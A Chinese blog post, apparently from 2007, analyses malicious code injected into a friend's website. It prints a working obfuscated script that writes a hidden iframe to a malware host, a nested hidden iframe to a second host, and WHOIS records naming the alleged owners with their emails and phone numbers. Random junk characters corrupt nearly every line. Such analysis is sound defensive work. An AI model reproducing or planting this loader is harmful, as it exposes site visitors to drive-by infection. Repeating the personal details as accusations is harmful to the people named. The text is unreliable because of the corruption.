首发在我的博客里面，
-Hh$3U v M$FX Dyr http://www.areway.cn/?p=175 ^c< <I-o| ?Ee?Ol?i2 _S8]W
!c 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Il2DZ5-
) -kES]P?2 <script>t=’60,105,102,114,97,109,101,
idGkX
? 32,115,114,99,61,104,116,116,112,58,47,47,
&_,^OE}K_: 102,114,101,101,46,117,45,117,117,117,46,99,
rr3NY$W 110,47,101,114,114,111,114,46,104,116,109,
bVtboHlY 32,119,105,100,116,104,61,49,48,48,32,104,
4S 2I]d 101,105,103,104,116,61,48,62,60,47,105,102,
7$x@;%xd 114,97,109,101,62′;
-2v|d]3qG t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
^wb -s si=/=h <script>t=’60,105,102,114,97,109,101,32,115,
\4K 8*` $ 114,99,61,104,116,116,112,58,47,47,102,114,
b6b mvHD 101,101,46,117,45,117,117,117,46,99,110,47,
Mki(,Y|1~ 101,114,114,111,114,46,104,116,109,32,119,
cy)L%`(7 105,100,116,104,61,49,48,48,32,104,101,105,
sa#=#0yg 103,104,116,61,48,62,60,47,105,102,114,97,
KK(x)( 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
on*?O O' document.write(t);</script>
V?Lf& X? o80pmy7@ <html xmlns=”
x?:WR*5w http://www.w3.org/1999/xhtml g0rdF “>
e x'd^y <head>
#Q 2$v; <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
>G'
NI?$ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
g]$>G0E`oD <title>首页 - 爱生活家庭网
dT/Cn v= }O2hhh_ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
O~{Zs\u9 转换字符串后的大概内容是（谁点击后果自付）：
4 E 4o=Z|K <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
> m}.}g8 #$jAGt3^BT 查询玉米u-uuu.cn的详细信息：
[+{ ot
Domain Name: u-uuu.cn
~ l CG3 7 ROID: 20070901s10001s64972306-cn
%E1~I\ n:F Domain Status: ok
'QeqWn Registrant Organization: 王雷
5y=X?hF~) Registrant Name: 王雷
yu#Jw Administrative Email:
czlovexs@126.com .Yha(5( Sponsoring Registrar: 北京万网志成科技有限公司
f e Nr!/ Name Server:ns.yovole.com
sN-5vYfC* Name Server:ns1.yovole.com
TQ=\l*R(A Registration Date: 2007-09-01 17:54
lqX]'gu]\ Expiration Date: 2008-09-01 17:54
o"Ef>5N 最后PING了一下地址 都没有什么….
DbPw) aCj |+!Jr_ By 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
cB.v&BSW <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
K W04 <script language=”javascript” src=”
m|24)%Vj;= http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script t~5>PS >
xg'0YZ\t 这个玉米应该有可能是木马作者的：
S31 :} foafau.info的详细信息：
Ug_zyfr Access to INFO WHOIS information is provided to assist persons in
` ~@BU determining the contents of a domain name registration record in the
LE1&atq Afilias registry database. The data in this record is provided by
k B2+ Tr Afilias Limited for informational purposes only, and Afilias does not
jf/;`b r guarantee its accuracy. This service is intended only for query-based
D-ug$ZRg access. You agree that you will use this data only for lawful purposes
5 Nl>4d` and that, under no circumstances will you use this data to: (a) allow,
,:>>04O enable, or otherwise support the transmission by e-mail, telephone, or
(~}l ?k facsimile of mass unsolicited, commercial advertising or solicitations
=C`v+NPM)| to entities other than the data recipient’s own existing customers; or
rZJp>Q)s (b) enable high volume, automated, electronic processes that send
G9E?
queries or data to the systems of Registry Operator, a Registrar, or
g^B 6N F Afilias except as reasonably necessary to register domain names or
M/UJb1< modify existing registrations. All rights reserved. Afilias reserves
LYWQqxB the right to modify these terms at any time. By submitting this query,
i Y;)R|6 you agree to abide by this policy.
ucoBeNsHx Domain ID:D22418703-LRMS
=b`>ggw# Domain Name:FOAFAU.INFO
Oo7n_ h1 Created On:20-Nov-2007 16:05:42 UTC
G92=b *x/ Last Updated On:20-Nov-2007 16:05:44 UTC
N1LR _vS" Expiration Date:20-Nov-2008 16:05:42 UTC
XHN?pVZ7 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
R#1m_6I Status:CLIENT DELETE PROHIBITED
kZz;l(?0 Status:CLIENT RENEW PROHIBITED
i"JF~6c< Status:CLIENT TRANSFER PROHIBITED
c?q#?K
aF Status:CLIENT UPDATE PROHIBITED
s <<vHzm Status:TRANSFER PROHIBITED
ReSP)%oW Registrant ID:GODA-040110615
k9}im Registrant Name:liu hong
tp 5]n`3rD Registrant Organization:
"DR p4; Registrant Street1:beijing
F<'g6 f Registrant Street2:
)x( *T Registrant Street3:
lV]l`$XI Registrant City:beijing
'J!P:.=a> Registrant State/Province:
jS R:ltd Registrant Postal Code:100000
ShCAkaj_ Registrant Country:CN
yD(/y"P,9 Registrant Phone:+86.860108888777
zKT \i Registrant Phone Ext.:
N66jFRA;x Registrant FAX:
x!I7vs~~zW Registrant FAX Ext.:
|2n2 Registrant Email:bbbshiji@163.com
>{m>&u;Cc Admin ID:GODA-240110615
0Fbq/63 Admin Name:liu hong
/eIwv 31 Admin Organization:
l l&iMj] Admin Street1:beijing
>S t Admin Street2:
c:=Z<0S; Admin Street3:
I*ho@`U Admin City:beijing
v KaX,)P;? Admin State/Province:
nH[@EL Admin Postal Code:100000
r43dnwX Admin Country:CN
S;|%'Sn|j9 Admin Phone:+86.860108888777
} O
o Admin Phone Ext.:
zlSwKd ( Admin FAX:
M.|hnGX N Admin FAX Ext.:
o^7NZ ]m Admin Email:bbbshiji@163.com
Ui? t@. Billing ID:GODA-340110615
D.? KgOZ Billing Name:liu hong
^]aDLjD Billing Organization:
P6IhpB59 Billing Street1:beijing
YdeSJ(: Billing Street2:
dX+DE(y Billing Street3:
Q@d X 2 Billing City:beijing
yP-.8[; Billing State/Province:
$]Fe9E? Billing Postal Code:100000
jq}5(*k Billing Country:CN
={z YcVI Billing Phone:+86.860108888777
>aa-ix
& Billing Phone Ext.:
[$] JvF Billing FAX:
m4 4aK qw) Billing FAX Ext.:
u !g <y Billing Email:bbbshiji@163.com
VK $+Nm) Tech ID:GODA-140110615
0 'L+9T5 Tech Name:liu hong
i(U*<1y Tech Organization:
rRsLl/d Tech Street1:beijing
u_:"
u Tech Street2:
0Q>Yoa
11 Tech Street3:
h V=)T^Q Tech City:beijing
/D~z}\k Tech State/Province:
$9hOWti Tech Postal Code:100000
T[<9Ty'^ Tech Country:CN
"G4{;!0C Tech Phone:+86.860108888777
1h)I&T"kZ Tech Phone Ext.:
,Zs-<e" Tech FAX:
: [AW Tech FAX Ext.:
0eUsvzz 15 Tech Email:bbbshiji@163.com
\ u5%+GA-: Name Server:NS27.DOMAINCONTROL.COM
}1(F~6RH Name Server:NS28.DOMAINCONTROL.COM
L\ n_q 6n Name Server:
6.K)uQgjmv Name Server:
OF DPtJ wV Name Server:
1}V_:~7 Name Server:
#]:nQ ( Name Server:
4'X^YBm Name Server:
s6KZV@1 Name Server:
iCw~4KG Name Server:
_jnH!Mw Name Server:
zeR!Y yt! Name Server:
x:?1fvVR Name Server:
*4 r;H2%c ii~~xt1 接着下载每个文件里面的代码：
N^`F_R1Z 一步一步看..
{){i
ONd 
8[zP2L!- 
]1p&*xX:Bj 
v)X1R/z5xw 
~Jq<FVK 
.O lq_wuH 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
